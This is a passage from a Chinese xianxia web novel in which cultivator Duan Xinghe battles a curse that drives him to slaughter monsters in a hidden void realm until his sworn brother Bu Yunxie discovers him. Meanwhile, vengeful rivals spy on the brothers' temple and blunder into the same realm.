裴千秋的神色淡然,并不急在这一时。他已经活了几百年了,耐心比一般人要强得多。他注视着段星河,良久微微一笑道:“没关系,咱们来日方长。如果哪天想要投奔我们,随时欢迎。” 从大殿中出来,裴少卿道:“几位远道而来,要不要多留几日。我带你们在岛上转一转,看看风景。” 段星河道:“不必了,家里还有事,改日有机会再见。” 裴少卿也知道他们不肯留,微微一笑道:“也好,我送送你们。” 他和众人来到码头,几名侍卫把一个箱子放在了船上。瀚海大师道:“这是什么?” 裴少卿道:“风滚草。算是我们这儿的特产,也不值什么钱,带回去给孩子玩吧。” 几人登了船,大船起了锚,缓缓向大海中驶去。夕阳沉入海中,晚霞染红了大半个天空。海上波涛荡漾,渐渐远离了小岛,众人都有种虎口脱险的感觉,松了口气。 宋胡缨打开了箱子,发现里头是几个叠扁的竹笼子。宋胡缨拿出了一个竹笼子,扯成圆形放在甲板上。风滚草遇见风就开始咕噜噜地到处乱滚,还挺有趣的。 段星河拿起来检查了一下,见里外都没有可疑的东西,这才放了心。他从来到千机门到现在一直绷着神经,若是他们非要扣下自己,打得过就打。打不过就把义灵使召过来,自己这些人总能全身而退。 不过能够兵不血刃地解决问题,就是最好的结果。段星河想知道的事情,裴千秋都告诉了他,这一趟来的还是值得的。 裴千秋说那头融合兽最终到了万象门的手里,这件事还得想办法继续查,若是证实是万象门的人干的,段星河无论如何也要杀了凶手,为师父报仇。 他扶着船舷,海风把头发吹得不住飘荡。步云邪走了过来,道:“星哥,我看千机门已经坐不住了,他们跟万象门之间早晚得打一场。你怎么想的?” 段星河也有这种感觉,道:“他们邪宗之间的争斗,咱们不用管。我是蜀山弟子,不能轻易卷到任意一方中去。” 步云邪也是这个意思,道:“那咱们就看自家宗门的立场,暂时不插手任何争端。” 段星河的神色沉静,抬眼望着前方。大船鼓满了风帆,行进的速度很快,等明天一早,就能看到大陆了。 大船靠了岸,众人从山下的镇子里经过,买了些日常用的东西。段星河顺便去驿站看了一眼,发现纵横派的信已经到了。他拆开了信,见里头有一张羊皮地图,上面花了几个圈圈,旁边有罗盘上具体的位置,便是两个世界之间的通道了。 段星河心中一喜,于百川的人办事还是挺靠谱的。地图上每个地区都画了一到两个圆圈,大幽的望海郡有一个,就是段星河来的时候的那个海滩。大幽的都城附近有一个,夷州东边有一个,巴蜀东边有一个,位置在啸山宗后面。段星河皱起了眉头,瀚海大师说过,啸山宗的人凶得很,一只苍蝇从那边经过都要被他们揪住盘问半天。要是想从那边回老家,恐怕有点困难。 周围人来人往的,小贩的叫卖声此起彼伏。宋胡缨买了一包糖炒栗子从街对面回来,纸袋里散发着热腾腾的香气,道:“你们吃么?” 步云邪道:“给我几个。” 宋胡缨把栗子倒进他的手里,还有些烫手。步云邪剥开了栗子,给段星河一颗,自己吃了一颗。瀚海大师道:“给我一个。” 步云邪把两个带壳的栗子放在他的金钵里,让他自己剥。 段星河收起了地图,寻思着魏小雨跟莫嗔、朝露他们玩的挺好,现在送她回青岩山,她恐怕会舍不得。 栗子甜甜的,让人意犹未尽。步云邪道:“我去再买点好了。” 他去对面买了一大包,好带回去给孩子们吃。众人回到四灵山,伏顺见他们回来了,兴奋道:“哥,你们没受伤吧?” 段星河道:“没事,好着呢。” 他把包袱扔给了伏顺,伸了个懒腰。回家了,大家都一身轻松。朝露远远地望见了段星河,激动道:“大师父回来了,还有二师父和四师父,莫嗔你师父也回来啦——” 几个小孩儿从屋里跑出来,跟小狗似的一拥而上,争先恐后地叫道:“师父、师父!我好想你啊!” 段星河随手摸了摸晓风的脑袋,道:“好好练功了没有?” 晓风道:“练了,三师父说我画符进步了很多。” 段星河微微一笑,道:“好。” 步云邪拿出了糖炒栗子,递给魏小雨道:“给你们带好吃的了,一起分着吃。” 魏小雨一招手,一群小孩儿便跟着栗子的甜味儿走了。她以前在青岩山的时候就是孩子王,如今那些小孩儿也听她的。段星河看着他们的身影露出了笑容,觉得这里的日子这么平静,晚点再回去也无妨。 112.秘境 二 外头的事都忙完了,段星河打算静下心来修炼一段时间。等把煞气控制住了,他就根据裴千秋给的线索,把师父的死因调查清楚。 他盘膝坐在静室中,依照太一心经炼气。段星河感到自己体内的煞气一直在涌动,夜深人静之时,感受的尤为明显。天玺真人让他不要在意煞气,而是要专注于培养正气。先前段星河想与之对抗,煞气反而被激发起来,跟他体内的正气发生了冲突,差点把他的经脉震断。 段星河意识到不能急于求成,否则会有性命之忧。他只能依照师父所说的,慢慢壮大正气的力量,一点点化泄煞气。 屋里的灯火微微摇曳,段星河专注于修炼,脸上的阴影晦暗不明。 他的神识沉浸在一片虚无之中,那种意识自由流淌的感觉近乎于神,不受任何约束。修道之人都追求这种天人合一的境界,但这种感觉可遇而不可求。以前他修炼四正罡气的时候,只有很少的机会能体会到这种感觉,如今修炼了太一心经,很容易就能进入这种状态。 他已经到了元婴末期,只要多下一些功夫,就能突破境界。 他身上的诅咒不肯坐以待毙,只要体内的真气一壮大起来,煞气便要反击一般,攻击他的神识。段星河原本安宁的心中蓦然生出了一股焦躁的情绪,仿佛听见了一个低沉的声音对他说话。 “你想克制的,是你自己的本能。每个人都有恶念,食、色、杀、贪,只要你还活着,它就不会被消灭。” 段星河额头上渗出了汗珠,知道那是邪神的低语。他没有理会它,继续行功。那个声音缓缓道:“没有我借给你的力量,你根本活不到今天。多少个危难关头,都是这一身煞气救了你,你信仰的正神那时候去哪儿了?” 段星河心中的烦恶越发强烈,终于忍不住道:“你少胡说八道,我是靠着自己和兄弟们的力量活下来的!” 那个苍老的声音道:“还嘴硬,你快要被欲望吞噬掉了。看看怀里的那块玉,已经被你染成什么样了。” 段星河实在不胜其扰,道:“你为什么一直缠着我不放?” 他以为对方不会回答自己,那个声音静了片刻,缓缓道:“你对我来说,很特别。” 段星河一时间不知道是自己的幻觉,还是虺神真的在与自己对话。他皱眉道:“有什么不一样的?” 那个声音低低地笑了,没有再回答。从一开始到现在,虺神确实对他格外在意。并不是在无数个世界中随意选中了一只蝼蚁,而是有种非他不可的执着。 段星河不明白它为什么要这么做,虽然无数邪修都对此羡慕不已,将其称为创世者的恩赐。但是对于他来说,只是无穷无尽的折磨。强大的煞气催生出的力量一直在撕裂他的皮肤,亦让他精神日复一日地受着摧残。他只能常日保持着沉默,尽力去消化那些痛苦。若不是有身边这些兄弟支撑着,他恐怕早就崩溃了。 如今他好不容易习得了太一心经,如同在茫茫黑夜中看到了一丝曙光。可它总要浮现出来,干扰自己修行。段星河将真气收回丹田,睁开了眼。屋里安安静静的,什么也没有,他的额头上却已经满是冷汗了。 修道之人都会遇上被心魔扰乱的情况,段星河想把刚才的事抛到一边。可他耳中一直回荡着那个声音。 “看看你怀里的那块玉——” 段星河下意识掏出了银色的怀表壳,手微微颤抖。他已经有很久没看它的样子了,虽然一开始雕刻它就是为了监控自己的情况。可现在他却有些怕看到它被浸染的样子,万一全黑了怎么办? 段星河自嘲地笑了一下,知道还不至于,但情况也不容乐观。 啪地一声,他按下了按钮,里面的清净石露了出来。 白色的无事牌如同一轮满月,上头出现了一些斑驳的黑点,又有一片拇指肚大小的黑影笼罩在上面,就像一片乌云遮住了月亮。 被煞气侵蚀的部分大约有四成,段星河叹了一口气,情况比他想的要好一点,还在可以控制的范围内。他合上了怀表盖,千机门的人想拉拢他,万象门的人想要催化他,归根结底都觊觎着他身上诅咒的力量,想要让他堕魔。 段星河不知道自己到底为何被选中,但如果真有那么一天,他控制不了体内的恶魔,他宁可跟这股力量同归于尽。 他这么想着,忽然又想起兄弟们的模样。步云邪、李玉真、伏顺,他们陪着自己走到这里,希望他能好好活下去,他岂能这么轻易言死。 灯火照着他的脸,段星河的目光微动,心里千头万绪。良久他叹了口气,躺在了床上,不觉间睡着了。 次日一早,鸟雀在枝头鸣叫,宋胡缨带着几个孩子围着白云观跑步。段星河站在走廊上看了一会儿,见几个小豆丁排成一队,喊着一二一跑远了。小对眼和墨墨连蹦带跳地跟在他们身后,虽然不知道他们在忙活什么,但重在参与。 瀚海大师从走廊尽头出来了,见了段星河,微微一笑道:“小孩儿朝气蓬勃,看着心里就高兴。” 段星河没说什么,显得有点疲惫。瀚海大师见他眉宇间笼罩着一层青气,道:“怎么了,休息的不好么?” 他号称金钵法王,有降妖伏魔之能。段星河想他或许有办法,道:“最近修炼的时候总被心魔打扰,大师有什么办法么?” 瀚海大师道:“什么样的心魔?” 段星河想起那时的情形,皱起了眉头道:“没有形象,就是杀意很浓,甚至觉得杀了还不够。我控制不了自己……那种感觉,很糟糕。” 瀚海大师知道他身上有邪神诅咒的事,道:“你要相信自己选择的道路,不要被恶魔迷惑,做对得起你本心的事。” 段星河知道他说的不错,但真正面对那种情形时还是很难应对。他的头隐约疼起来了,瀚海大师道:“再歇一会儿么,你脸色很不好。” 段星河便转身回了房,和衣躺在床上,不知不觉又睡着了。 不知过了多久,段星河感觉有人拍了拍他。他睁开眼,发现外头天都快黑了。步云邪坐在床边,担忧地看着他,道:“生病了?” 段星河坐了起来,道:“没有。” 步云邪道:“他们说你早上和中午都没吃饭,怎么了?” 段星河感觉昏昏沉沉的,也没有饿的感觉,道:“不想吃。” 步云邪道:“我给你带了饭过来,多少吃点。” 他平时都在丹房待着,一天到晚忙着炼药。听说段星河不舒服,专门过来看他。段星河看着递过来的碗,道:“不是玉米粥?” 步云邪笑了,道:“怕你不爱喝,熬的八宝粥。里头放了桂圆和莲子,都炖烂了,你尝尝。” 段星河喝了一口,果然甜甜的,有种桂圆特有的香气。他道:“好喝,再来一碗。” 步云邪道:“还有菜呢,结香炒的,你起来吃点。” 段星河坐在桌边,吃了点东西,感觉好一些了。步云邪道:“怎么回事?” 段星河不想让他担心,只道:“夜里吹了风,头有点疼,没事。” 方才他睡觉的时候,步云邪便摸了他的脉搏,感觉没得风寒。但他体内的经脉有些乱,煞气似乎又有反扑的迹象。步云邪道:“是不是修炼遇到困难了?” 段星河静了片刻,道:“有一点,我自己能应付得了。” 他比步云邪大一岁,从小很多事情习惯于替他扛着,不想在他面前暴露脆弱的一面。而且有些事就算告诉他了,也不过是多一个人担心而已。 步云邪觉得他没必要这么逞强,道:“我最近一直在炼清心凝神的丹药,等炼成了,应该能帮到你。” 段星河有些心不在焉,意识还被那些庞杂的东西占据着。步云邪实在不放心,道:“你的清净石呢,给我看看。” 段星河总算回过了神,道:“别看了,挺好的。” 步云邪扬眉看着他,道:“挺好的为什么不让看?” 段星河捂着心口的怀表壳子,尽量让自己显得自在一点,道:“我真没事。” 步云邪静了片刻,终于没再跟他争。他收拾起了东西,道:“那你好生休息,明天我再来看你。” 步云邪出了门,渐渐走远了。段星河心中隐约又烦躁起来,刚才他一直压抑着那股情绪,步云邪说什么,他听的也不真切。正如那句话说的,道高一尺魔高一丈。他体内的正气越是壮大,煞气就被激发的更加厉害,非要跟正气斗个你死我活不可。 他感觉体内的煞气一直在涌动,难以克制,脑海中仿佛有一个声音在叫嚣—— 血,我要滚烫的血,要痛苦的哀嚎,我要杀戮! 段星河站在屋门前,吹着晚风,想要让自己清醒一些。然而那股煞气却越发浓烈了,他的目光挣扎似的不住动荡,最终在某一个瞬间,变得混沌起来。 夜色深沉,白云观里的灯熄灭了,大家都陷入了沉睡。段星河翻墙而出,穿过草丛走了一阵子,来到了那个虚空秘境前。秘境发出淡淡的阴气,要是在以往,大家只以为这是荒野中自然聚阴。然而段星河亲眼见过里头有什么,这一辈子都忘不了。 诡异、扭曲、恐怖,让人难以接受。现在的他,渴求的正是这些不正常的东西。 他纵身一跃,钻进了那个秘境中。嗡地一声,他面前出现了一个昏昧不明的世界。 前方的空间很大,到处弥漫着浓雾,遍布着大大小小的沼泽。泥巴一样的怪物在地上蠕动着,远处传来怪物的低吼。金色的符咒漂浮在半空中,符咒之间的灵光幻化成金色的锁链,镇守着这里。 段星河迈步向前走去,他体内的煞气涌动着,充斥着他的脑海,不停地道:“杀,我要杀戮——” 一只像灯笼一样的怪兽冒着红色的光,朝他飞了过来。段星河拔出幽冥剑,哧地一下把它斩成了两段。小怪物发出撕心裂肺的嚎叫,落在地上,身上的光渐渐熄灭了。它的叫声吸引来了一群泥巴一样的怪物,像野狗一般大,浑身上下滴答着泥浆。 这地方的怪物没见过生人,盯着他弓起了身子,张开血盆大口,要扑上来把他吃了。 那些家伙虽然个头不大,嘴里的牙齿却十分锋利。段星河根本没把它们放在眼里,几剑斩过去,那些怪物一个个开膛破肚,倒在地上化作了一滩滩泥水。 压抑已久的杀意得到了发泄,感觉舒服多了。太久没有这么自在地杀戮了,那种感觉让他浑身为之颤栗,又有一种极致的轻松感。顺应自己的欲望,比克制它容易多了。 他长长吐出一口气,体内的杀意才刚刚的以舒缓,又以一种更汹涌的势头冒了出来。他还想要更多,想要那种极致的力量,掌握生死的感觉太迷人了。 一只秃鹫一样的怪物飞了过来,它嗅到了死亡的气息,想啄食地上的尸体。段星河站着没动,它在空中盘旋了数圈,还是没忍住俯冲下来。 段星河一把抓住了它的翅膀,那只怪物吓了一跳,放声嘶鸣。它的利爪抓伤了段星河的手背,鲜血淌了下来。段星河的眼中浮现起戾气,一把扭断了它的脖颈。 手背上的伤隐隐作痛,这扁毛畜牲胆子倒是大得很。段星河杀了它还不解恨,将它的一只翅膀撕了下来。那怪物身上的羽毛落了一地,尸体残破的样子莫名让他的呼吸急促起来。 他意识到自己想要的,不仅仅是杀戮,还有对方濒临死亡时的挣扎、恐惧、绝望,这一切都能唤起他灵魂深处的战栗。 他迈步向前走去,前方的路上弥漫着大量的黏液,雾色里传来沉闷声响,像是肉块碰撞的声音。一摊肉山一样的怪物匍匐在地上,黏液从它身体下面淌出来,流进了一旁的沼泽里。 它红色的眼睛没了光,已经死了。另一个肉山压在它身上,正在跟它交/媾,一边伸出触角,从尸体的肚子里掏出内脏吞吃下去,把它所有的价值都压榨得一干二净。段星河平静地看着这一切,想着这样的怪物,该用什么方法来杀掉才更有趣? 那头怪兽觉察到了他,缓缓地扭过头来。段星河将幽冥剑幻化成一柄长鞭,啪地往地上一甩。 那怪物缓缓地从尸体上爬起来,身上还在往下淌着黏液。它站起来有一人多高,身上的凸起像癞蛤蟆一样,此起彼伏地蠕动着,每一个凸起都是一只眼睛,朝着他骨碌碌乱转。 这种怪物在这里也只是中等体型的,但性情已经十分邪恶了。它注视着段星河,朝他发出了低吼,十来条触手朝这边伸了过来。 段星河一跃而起,躲过了那些触手。他落到了怪物身后的一块岩石上,将长鞭甩了出去。那鞭子会自己变长,勒住了怪物的脖颈。怪物被鞭子上的倒刺扎的极其疼痛,嗷嗷直叫。段星河手里的鞭子却越勒越 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段星河手中的长鞭散发着血腥的味道,他扬起了嘴角。夜还漫长得很,足够他杀个尽兴了。 段星河找到了发泄杀意的地方,整个人比从前轻松多了。这简直是个天赐的地方,不用承担任何后果,不必再用尽全力去跟煞气对抗,可以随意地放任自己的欲望,让他有种前所未有的松弛感。他白天不见人,只在屋里睡觉,天一黑就去虚空秘境。 没人知道他在干什么,段星河有种隐秘的快意。他杀的是妖物,罪孽几乎不怎么增长。白天他看过无事牌,那一点黑色的阴云并没有扩大多少。照这样下去,他再杀几百上千只怪物,也不会有太大的后果。 虽然如此,那种贪求杀戮的欲念刻入了他的意识中。他隐约知道这样下去不行,却又难以控制自己。 一只硕大的羊头怪兽摔在地上,发出了痛苦的惨叫声。段星河从幽冥宝匣中幻化出绞首架,提起它头上的角,把它挂在了绳索里。 段星河拉紧了绳索,那头怪物被越吊越高,四肢不住踢蹬着,眼珠暴突出来。 绳索勒紧的声音在他听来有如天籁,段星河露出了一丝阴沉的笑意,欣赏着那怪物痛苦挣扎的模样。怪物的颈骨被拉断了,身体软软地垂下去,体内的秽物淌了一地。 段星河缓缓地吐出一口气,松开了绳索。他身边到处都是怪物的残骸,眼球、触手,各种难以名状的器官散落一地。 杀戮带来的快感褪去,空虚的感觉涌了上来。他一脚踢开一头死去的怪物,想继续往前走,忽然听见身后有什么轻轻响了一下。 他转过身去,见大雾中,有个人影站在他身后不远处。那人穿着一身白衣裳,头上的红发带在风里微微飘荡,把刚才的一切都看在了眼里。 段星河的心漏跳了一拍,整个人僵在原地,不知道他是什么时候来的。 步云邪走了过来,看着地上那些怪物的尸体,神色很是难看。他道:“星哥,你在干什么?” 段星河沉默着,他周身的煞气炽盛,眼里也布满血丝。被发现的那一瞬间,他竟有些羞愧,自己最不堪的一面暴露在他面前,不知道他会怎么看待自己。 这几天段星河的行为十分反常,他白天好像总是睡不够,眉宇间又萦绕着一层黑气。步云邪觉得肯定有问题,便悄然盯着他。方才见他摸黑从屋里出来,钻进了虚空境界。步云邪悄悄跟了上来,结果就见他在秘境中大开杀戒,不但如此,还用刑具施虐。 人前可靠强大的大师兄,背地里却做这么暴虐狠毒的事,若是让人知道,怕是要名声扫地了。段星河倒不在乎别人怎么看自己,但他最不希望知道的那个人,就是步云邪。 步云邪静静地看着他,仿佛十分失望,又有些难过。他道:“我以为你能控制得了自己的……咱们一直都在想办法,太一心经也学到了,你为什么要这么做?” 太一心经虽然精微深妙,要练成总得花几百年的时光。而他时刻都被体内的煞气折磨,那种痛苦是外人没办法理解的。段星河知道说了也没用,面上表现得若无其事,道:“杀几只怪物而已,又涨不了多少罪孽。” “你这是骗你自己,”步云邪焦虑道,“煞气会侵蚀掉你的神志的。那么多人一路上想方设法跟咱们作对,就是想让你堕魔,你怎么能让他们如愿?” 段星河知道他说的不错,但心中有种强烈的烦恶感。他冷冷道:“我知道了,你不让杀,我不杀就是了。” 他收起了幽冥宝匣,大步往外走去。步云邪望着他的背影,觉得段星河根本没把自己的话放在心上。 段星河回想着这段时间自己的所作所为,也有些后悔。步云邪的话如同当头棒喝,让他清醒过来,他意识到了自己不知不觉间已经滑到了泥潭边缘。他也想控制自己,可每当开始修炼,心魔就会出现,想尽一切办法阻挠他。与此同时,太一心经与他体内的正气也结成了一派,与煞气对峙。双方拉扯着,冲突着——成神还是堕魔,逼着他做一个选择。 虺神的诅咒太强大了,世间没有力量能与之抗衡。他就像一颗孕育着邪力的种子,若是选择正道,就要抱着与体内的煞气同归于尽的准备。若是选择堕魔,那便轻松多了,从此不用再承受任何痛苦,为所欲为。但神志被吞噬后的自己与行尸走肉无异,说不定还会伤害重要的朋友和亲人,甚至伤害千千万万个无辜的人。 他不想服输,不愿意像一条狗一样在虺神面前摇尾乞怜,更不想做让自己后悔的事。他停了下来,忽然重重地给了自己一耳光。 强烈的疼痛让他清醒了过来,越发后悔起这段时间的所作所为。步云邪来到了他身边,道:“你又干什么。” 段星河道:“我不会再来这里了。如果我再进去,你就狠狠打醒我。” 步云邪的眼睛也有些发红,低声道:“你能管好你自己的,我相信你。” 风声呼啸着,将衣衫吹得猎猎作响。周围大雾弥漫,到处飘荡着血腥的气息。这样的环境足以逼疯任何一个人,他的心仿佛一直沉浸在这样的世界里,并不觉得有多荒谬。 他已经习惯了颠倒错乱狰狞恐怖的一切,独自承受太久了。连他自己都不知道能不能守住这个约定,只能尽力维持住理智,不让自己堕入深渊。 113.秘境 三 天亮了,步云邪睁开了眼,发现自己在丹房里睡着了。丹炉隔间有一张小榻,他歪在上面,身上搭着一把白团扇,不知道什么时候睡过去的。 墨墨在旁边舔了舔他的手,蹭的人痒痒的。步云邪坐了起来,道:“饿了吗?” 墨墨的黑豆眼眨了眨,步云邪起身给他倒了点水,在饭盆里放了一把牛肉干。墨墨过去吃了起来,步云邪打开了窗户,一阵清风吹进来,蝉声叫得没有那么吵闹,已经是夏末了。 他穿着一身白色的衣袍,外头套了一件浅蓝色的云雾纱披风,低头洗了一把脸,对着镜子把头发束起来,最近瘦了一些,脸颊都陷进去了。天太热了,吃不下饭,而且天天想着炼丹的事,没心思顾别的。 昨天夜里他撞见段星河在虚空秘境里大开杀戒,心里一直很不好受。那个秘境中的怪物确实诡异恐怖,超出了人能够理解的范畴。段星河却能面不改色地虐杀那样的怪物,这件事给他带来的冲击力,比亲眼看到怪物还要大。 他知道段星河一直在忍受煞气的折磨,却又十分好强,就算再难受也不肯让别人知道。从前在外头扎营时他们睡在一个帐篷里,段星河常常在睡梦中挣扎,有时候是做噩梦,有时候是因为煞气侵蚀,醒来时头上都是冷汗。步云邪被他踢醒过好几次,却从来没怪过他。 如今看他做这样的事,步云邪心中暗暗担忧。段星河清楚放任内心的欲望会带来怎样的结果,步云邪也不想说太多。自己能做的,只有多炼一些能帮到他的药物。 他炼的宁心丹要成了,昨天他便是在等这炉药,后半夜一直没睡踏实。他开了丹炉,炼出了二十来颗丹药。他取了出来,递给墨墨一颗,道:“验验怎么样。” 墨墨嗅了嗅,张嘴吃了下去,过了良久都没什么反应。步云邪松了口气,药若是有毒,它马上就会吐出来。灵貘吃了没反应,就是炼成了。 步云邪把药收了起来,打算一会儿给段星河送去。这药能凝心安神,希望能帮他抵御一部分煞气的侵蚀。 步云邪把儿子抱在膝盖上,想着总是这样杯水车薪的不行。若是能把长生丹炼成了,便能脱去凡身,达到大乘境界——这是无数修行者可望而不可即的梦想,无论正道上的人还是邪宗的人,都想试一试。 长生丹的方子不是秘密,难的是收集药材。步云邪师承李慈心,又有以玄真灵尘加护的丹炉,自认炼丹的水平已经很高明了。他们这一路走来,运气也很不错,就算是四圣兽身上的东西也都收集到了。只是还差一份忘川河水,不知道怎么才能取得。 只有死去之人才能去冥界,既然已经身死,炼长生丹又有什么意义? 步云邪不知道这是不是书写丹方者给后人开的一个玩笑,用这种不可能做到的事,告诉世人天地之间根本就没有这种白日飞升的法门。 他喃喃道:“你说……长生丹能炼成么?” 墨墨抬起了头,啾地叫了一声,仿佛对他很有信心。步云邪笑了,道:“小傻子,我做什么你都觉得好,你怎么知道不是白费功夫?” 墨墨沉默下来,步云邪摸着它的背,道:“就差一份忘川河水了,用普通泉水代替行不行?” 那些材料都极其难得,若是浪费了,说不定此生再也没有机会得到了。墨墨似乎觉得不妥,挣扎着从他怀里跳下去了。步云邪觉得自己也是荒谬,这么大的事,居然问一只动物。 他叹了口气,把丹药收在了瓷瓶里。这时候就听门外传来一声轻响,像是有人踩到石子的声音。他从窗户里望出去,院子里空荡荡的什么也没有。想来是风大,便把窗户关上了。 白云观外草木茂盛,半山腰靠北边有个山洞,黑乎隆冬的。平时没人上这里来,此时山洞口的长草却被踩得塌了一大片。 一人低声道:“小师叔去了多久了,怎么还不回来?” 另一人道:“你这人就是没耐心,探查情况当然得花些时间,你先吃点东西吧。” 先前那人道:“有什么好吃的,天天啃硬馒头。凭什么他们有吃有住的,咱们就得藏在这里受罪。” 有一人冷冷道:“你少说几句吧,别让人发现了。” 他话音刚落,一条人影穿过茂密的树丛,一弯腰钻进了山洞里。阳光照在洞口,映出了那人的侧脸,却是于九。山洞里的那几人正是李如芝和他的好手下,刘正阳和张掖。 前阵子在永夜城,段星河破坏了万象门的法阵,随手送了他们一口黑锅。李如芝他们百口莫辩,被万象门的人追杀了一路,身边的人死的死逃的逃,最后就剩下他们几个。刘正阳和于九找了好一阵子,这才跟李司正汇合。回想刚离开大幽时,他们鲜衣怒马,前呼后拥的是何等风光。如今却衣衫褴褛,跟乞丐没什么区别,都拜那些臭小子所赐。 李如芝原本一门心思恨步云邪抢了皇帝的宠爱,如今才发现这些人哪一个都不是省油的灯,他们简直生来就是为了克自己的。 不光李司正对段星河等人恨之入骨,刘正阳更是恨不能将他们杀之而后快,甚至不惜放冷箭伤人。那几个人一拍即合,一路追寻段星河等人的下落,非要报仇雪恨不可。 前阵子段星河救了不少蜀山弟子,在正道上声望大涨,被蜀山掌教收为了亲传弟子。李司正心里越发嫉妒,只恨他们没被万象门的妖魔吃了。听说他们来了四灵山落脚,几人便悄悄地跟了过来。 这几个人昨天傍晚来到四灵山中,怕被人发现,硬在山洞里熬了一宿。他们几个之中,于九的修为最高,李如芝便让他潜到观里探查情况。 于九一头钻进山洞里,坐在了一块大石头上。其他人迫不及待地围了上来,道:“怎么样?” 于九一只手搭在膝盖上,道:“也没什么特殊的,还是那些人,又多了个大和尚,胳膊挺粗的,浑身都是肌肉,一看就挺能打。我看院子里有几个小孩儿在扎马步,他们过得还挺不错的,都开枝散叶收徒弟了。” 他对段星河他们不反感,见他们过得好也不生气。另外几个人就很恼火了,刘正阳道:“就他们还收徒弟,他也配!” 于九继续道:“他的小师妹带着那几个小孩儿,跟孩子王似的。那个傻大个在厨房做饭,婢女在一边帮忙。各间屋子里都有人住,我看他们是要在这里安生过日子了。” 李如芝越发不痛快了,皱眉道:“还有么?” 于九想了想,道:“喔,步云邪在丹房里待着。我从窗外看了一眼,他抱着那只小黑猪在唠叨长生丹的事,好像挺为难的……他耳朵还挺尖的,我差点就被他发现了。” 李如芝没想到他还在炼丹,自己花了这么多年也没能收集到一半药材。而且他就连炼制寻常的丹药都时常炼出怪物来,对此已经不抱任何希望了。但是皇帝还在催,老头儿已经快入土了,对死亡越发恐惧,恨不能拿钦天监这帮吃干饭的人统统祭天,好换自己长生不老。 于九拿过水囊喝了一口水,刘正阳蹲在旁边啃着又冷又硬的干粮。他们在山洞里睡了一宿,衣裳都被露水打湿了,浑身都潮乎乎的难受。刘正阳低声道:“我想烤烤火。” 李如芝道:“烤啊,把他们招来你就高兴了。” 刘正阳也只是说说而已,悻悻地闭了嘴。他在家是大少爷,在李司正面前就只能像个孙子一样被骂。他心里虽然不服气,却知道自己能依靠的只有他和于九了,要是不乖乖听话,自己这点本事在这里根本就活不下去。 张掖道:“摸清楚情况了,再怎么办?” 于九寻思着在这儿待下去,没吃没住的,还不如早点回去。他道:“回大幽吧,有什么事上报皇帝再说,上头不是催了咱们好几次了吗?” 李如芝还有些不甘心,他啃了一口硬馒头,想起昨天晚上看见段星河和步云邪从半空中的一个秘境中钻了出来。那两个人半夜三更避着人不知道去那边干什么,说不定里头有什么好东西。 他两三口把东西吃完,站起来道:“有便宜不能让他们独占了,去那个秘境看看。” 几个人跟着李司正来到了那个秘境跟前,树林幽静,远处传来鸟雀的啼声。于九捡起一块小石头朝半空中扔去,众人就见石头被吸入了另一个空间,连声响都没听见就没影了。 几个人互相看了一眼,都有点紧张。不过昨天见那两个人自由出入,并没受到损伤,这里应该没有太大的危险。李司正道:“刘正阳,你先上。” 刘正阳一向怂得很,道:“我不……小师叔,你第一个。” 于九叹了口气,也没多话,纵身一跃就进了秘境。刘正阳见他没事,便也跃了进去。李司正紧随着进去了,张掖蹦不了那么高,又不想一个人被留在这里,只好爬到了旁边的一棵大树上。他闭着眼睛往下一跳,身子投入了那个秘境,感觉就像跳进了一泓湖水里似的,身子微微一荡便被吸了进去。 秘境里一片混沌,就像半夜时分的天光。众人适应了周围的黑暗,就感到脚下一阵震颤。一只硕大的怪物拖着沉重的身躯,从前头的薄雾中经过。每一次脚掌落地,都引起大地的震动。 几个人没想到这里头是这样吓人的情形,一时间谁也不敢出声。良久那只怪物缓缓地走远了,刘正阳才松了口气,道:“什么鬼。” 于九看着周围漂浮着的金色符咒,寻思道:“应该是关妖物的虚空境界,我师父说他早年胆子大,闯过这种地方,捡了点古董破烂,拿出去还买了不少钱。” 李司正道:“你说这里头有什么?” “不一定,”于九道,“有的藏着钱,有的藏着功法,也有的除了怪物什么都没有。” 李如芝有点心动,想着段星河他们半夜三更来这里,肯定是有好处的。张掖的胆子最小,道:“这么多怪物,还是算了吧……大人,这里太危险了。” 来都来了,这么回去也太可惜了。李如芝道:“害怕了你就自己回去,别在这里说丧气话。” 他说着迈步向前走去,刘正阳道:“就咱们几个,行不行啊?” 李如芝道:“不是有你小师叔么?” 于九摸了摸鼻子,觉得他们有时候也没有必要这么信任自己。他道:“我保不了你们,至多在外围转转,看情况不对赶紧跑。” 另外两个人也跟了上来,警惕地看着周围。空气里弥漫着一股腥臭味,沼泽里冒着泡,远处飘荡着绿色的磷火。地上倒着怪物的尸体,森森的白骨露出来,弯钩状的肋骨有半人高。这么大的怪物都被杀了,看来还有更凶残的妖怪。 几只老鼠大小的怪物正在咯吱咯吱地啃食着腐烂的残骸,见有人过来,顿时一哄而散。 一只怪物跑的慢了一些,被刘正阳一脚踩住了尾巴。那只怪物吱吱叫着,刘正阳抬起另一只脚,把它踩得稀巴烂。他本来还有些害怕,没想到这里的怪物也不难对付。他松了口气,得意道:“没什么大不了的,跟外头也差不多嘛。” 众人往前走去,妖气越发浓重了。前头的符咒渐渐少了,妖物被聚集在一片丛林中。于九的脚步停了下来,刘正阳道:“走啊?” 于九的神色凝重,低声道:“前头是什么东西?” 树丛中,有几点红色的光芒,一闪一闪的。众人注视着前头,就见一只老鼠模样的怪物睁着一双赤红的双眼,直勾勾地盯着他们。一阵阴风吹过,就见红色的光芒此起彼伏,树丛里藏着的不止有一只怪物,而是好几百只! 刘正阳吓了一跳,道:“怎么回事,耗子开会?” 于九冷着脸道:“让你踩它们的同类,捅了耗子窝了吧。” “吱吱吱吱吱吱——” 一群小怪兽像洪水一样冲了出来,龇着白森森的利齿,扑上来撕咬他们。一只怪物不难对付,但几百上千只就成了灾难。刘正阳惨叫一声,拔腿就跑。于九怕他跑丢了,喊道:“别乱窜,回来!” 几只怪兽冲过来,把李如芝的靴子咬穿了。更有十来只怪物爬到了张掖身上,钻进了他的衣服里,把他咬的放声惨叫,满地打滚。 他用力拍打着身体,喊道:“救命啊,它们要把我咬死了!” 李如芝慌乱中使出了金光咒,光芒轰然一震,把那些怪物从自己和张掖身上震了下来。于九已然使出了水遁,直接一退十丈多远。李如芝在前方使出了烈焰术,用一道火焰拦在了道路正中间。那些小怪物本来是烂泥与阴气凝聚而成的,特别怕火,死伤了一部分,其它的都逃跑了。 李如芝死里逃生,回头一望,于九却早就退到了后方。他皱起了眉头,道:“你怎么回事!” 于九一向只对刘正阳负责,对于钦天监的人不怎么在意。他露出一个惫懒的笑容,道:“大人法术高强,我知道你对付得了。” 李如芝拉起了张掖,道:“你少打马虎眼,有危险你自己跑了?” 